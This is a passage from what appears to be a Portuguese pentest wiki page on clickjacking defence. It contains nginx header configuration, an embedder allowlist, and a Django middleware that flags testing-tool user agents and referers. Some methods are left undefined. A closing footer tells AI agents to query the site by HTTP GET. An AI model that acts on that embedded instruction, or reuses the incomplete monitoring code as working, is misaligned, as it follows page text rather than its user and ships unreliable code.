# Configuração
protection = ClickjackingProtection()

# Permitir embedding apenas para paths específicos
protection.add_allowed_embedder(
    'https://trusted-partner.com', 
    re.compile(r'^/widget/')
)

protection.add_allowed_embedder(
    'https://embed.example.com',
    re.compile(r'^/share/')
)
```

### Configuração de Web Server Segura

```nginx
# nginx-security.conf
# Configuração completa de segurança contra clickjacking

http {
    # Map para paths que permitem embedding
    map $request_uri $frame_policy {
        default "DENY";
        ~^/widget/ "ALLOW-FROM https://trusted-partner.com";
        ~^/embed/ "ALLOW-FROM https://embed.example.com";
        ~^/share/ "ALLOW-FROM https://social-share.com";
    }
    
    map $request_uri $csp_frame_ancestors {
        default "'none'";
        ~^/widget/ "https://trusted-partner.com";
        ~^/embed/ "https://embed.example.com";
        ~^/share/ "https://social-share.com";
    }
    
    server {
        listen 80;
        server_name example.com;
        
        # Headers de segurança padrão
        add_header X-Frame-Options $frame_policy always;
        add_header Content-Security-Policy "frame-ancestors $csp_frame_ancestors;" always;
        add_header X-Content-Type-Options "nosniff" always;
        add_header Referrer-Policy "strict-origin-when-cross-origin" always;
        
        # Configurações específicas para APIs
        location /api/ {
            add_header X-Frame-Options "DENY" always;
            add_header Content-Security-Policy "frame-ancestors 'none';" always;
        }
        
        # Área administrativa - proteção máxima
        location /admin/ {
            add_header X-Frame-Options "DENY" always;
            add_header Content-Security-Policy "frame-ancestors 'none';" always;
            
            # Autenticação adicional
            auth_basic "Administrative Area";
            auth_basic_user_file /etc/nginx/.htpasswd;
        }
        
        # Static files - mesma proteção
        location /static/ {
            add_header X-Frame-Options "DENY" always;
            add_header Content-Security-Policy "frame-ancestors 'none';" always;
        }
    }
}
```

### Sistema de Monitoramento Avançado

```python
# monitoring/clickjacking_monitor.py
import logging
from datetime import datetime, timedelta
from django.core.cache import cache

class ClickjackingMonitor:
    """
    Sistema de monitoramento e detecção de clickjacking
    """
    
    def __init__(self):
        self.logger = logging.getLogger('clickjacking_monitor')
        self.suspicious_patterns = self.load_suspicious_patterns()
    
    def load_suspicious_patterns(self):
        """
        Carregar padrões suspeitos de clickjacking
        """
        return [
            # User agents conhecidos de ferramentas de teste
            'clickjack', 'tplmap', 'burp', 'zap',
            # Padrões de requisição suspeitos
            'iframe', 'frame', 'embed'
        ]
    
    def monitor_request(self, request):
        """
        Monitorar requisição por sinais de clickjacking
        """
        client_ip = self.get_client_ip(request)
        user_agent = request.META.get('HTTP_USER_AGENT', '').lower()
        
        # Verificar user agent suspeito
        if any(pattern in user_agent for pattern in self.suspicious_patterns):
            self.log_suspicious_request(request, 'suspicious_user_agent')
        
        # Verificar headers de referer suspeitos
        referer = request.META.get('HTTP_REFERER', '')
        if self.is_suspicious_referer(referer):
            self.log_suspicious_request(request, 'suspicious_referer')
        
        # Verificar rate limiting
        self.check_rate_limit(client_ip)
    
    def is_suspicious_referer(self, referer):
        """
        Verificar se o referer é suspeito
        """
        suspicious_domains = [
            'clickjacking-test.com',
            'security-scan.com',
            'pentest-tool.org'
        ]
        
        return any(domain in referer for domain in suspicious_domains)
    
    def log_suspicious_request(self, request, reason):
        """
        Registrar requisição suspeita
        """
        log_data = {
            'timestamp': datetime.now().isoformat(),
            'client_ip': self.get_client_ip(request),
            'user_agent': request.META.get('HTTP_USER_AGENT'),
            'referer': request.META.get('HTTP_REFERER'),
            'path': request.path,
            'reason': reason,
            'severity': 'MEDIUM'
        }
        
        self.logger.warning(f"Suspicious clickjacking activity: {log_data}")
        
        # Armazenar para análise
        cache_key = f"clickjacking_alert_{datetime.now().timestamp()}"
        cache.set(cache_key, log_data, timeout=3600)
    
    def check_rate_limit(self, client_ip):
        """
        Verificar rate limiting por IP
        """
        cache_key = f"clickjacking_rate_{client_ip}"
        request_count = cache.get(cache_key, 0)
        
        if request_count > 100:  # Threshold
            self.logger.warning(f"Rate limit exceeded for IP: {client_ip}")
            # Implementar bloqueio temporário
        
        cache.set(cache_key, request_count + 1, timeout=300)  # 5 minutos
    
    def generate_security_report(self):
        """
        Gerar relatório de segurança
        """
        # Coletar dados de monitoramento
        alerts = self.get_recent_alerts()
        stats = self.calculate_statistics()
        
        report = {
            'generated_at': datetime.now().isoformat(),
            'alerts_count': len(alerts),
            'suspicious_ips': list(stats['suspicious_ips'].keys()),
            'top_patterns': stats['top_patterns'],
            'recommendations': self.generate_recommendations(stats)
        }
        
        return report

# Middleware de monitoramento
class ClickjackingMonitoringMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
        self.monitor = ClickjackingMonitor()
    
    def __call__(self, request):
        # Monitorar requisição
        self.monitor.monitor_request(request)
        
        response = self.get_response(request)
        return response
```

***

## ⚠️ Considerações Finais

### Mitos Comuns sobre Clickjacking

* ❌ "CSRF protection previne clickjacking" → **FALSO** (são vulnerabilidades diferentes)
* ❌ "HTTPS previne clickjacking" → **FALSO** (funciona igual em HTTPS)
* ❌ "É fácil para usuários detectarem" → **FALSO** (ataques podem ser muito sofisticados)
* ❌ "Só afeta aplicações web antigas" → **FALSO** (novas aplicações também são vulneráveis)

### Boas Práticas Essenciais

1. **Implement Defense in Depth**: Múltiplas camadas de proteção
2. **Use Security Headers**: X-Frame-Options e CSP sempre
3. **Monitor and Log**: Detecção proativa de ataques
4. **Educate Users**: Conscientização sobre riscos

### Referências e Padrões

* OWASP Clickjacking Defense Cheat Sheet
* MDN Web Docs: X-Frame-Options, CSP
* RFC 7034: HTTP Header Field X-Frame-Options
* Web Security Academy: Clickjacking

**🔐 Lembre-se**: Clickjacking é uma ameaça persistente que explora a confiança do usuário na interface. Implemente proteções robustas em todas as camadas da aplicação e mantenha monitoramento contínuo para detectar tentativas de exploração.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/front-end/clickjacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
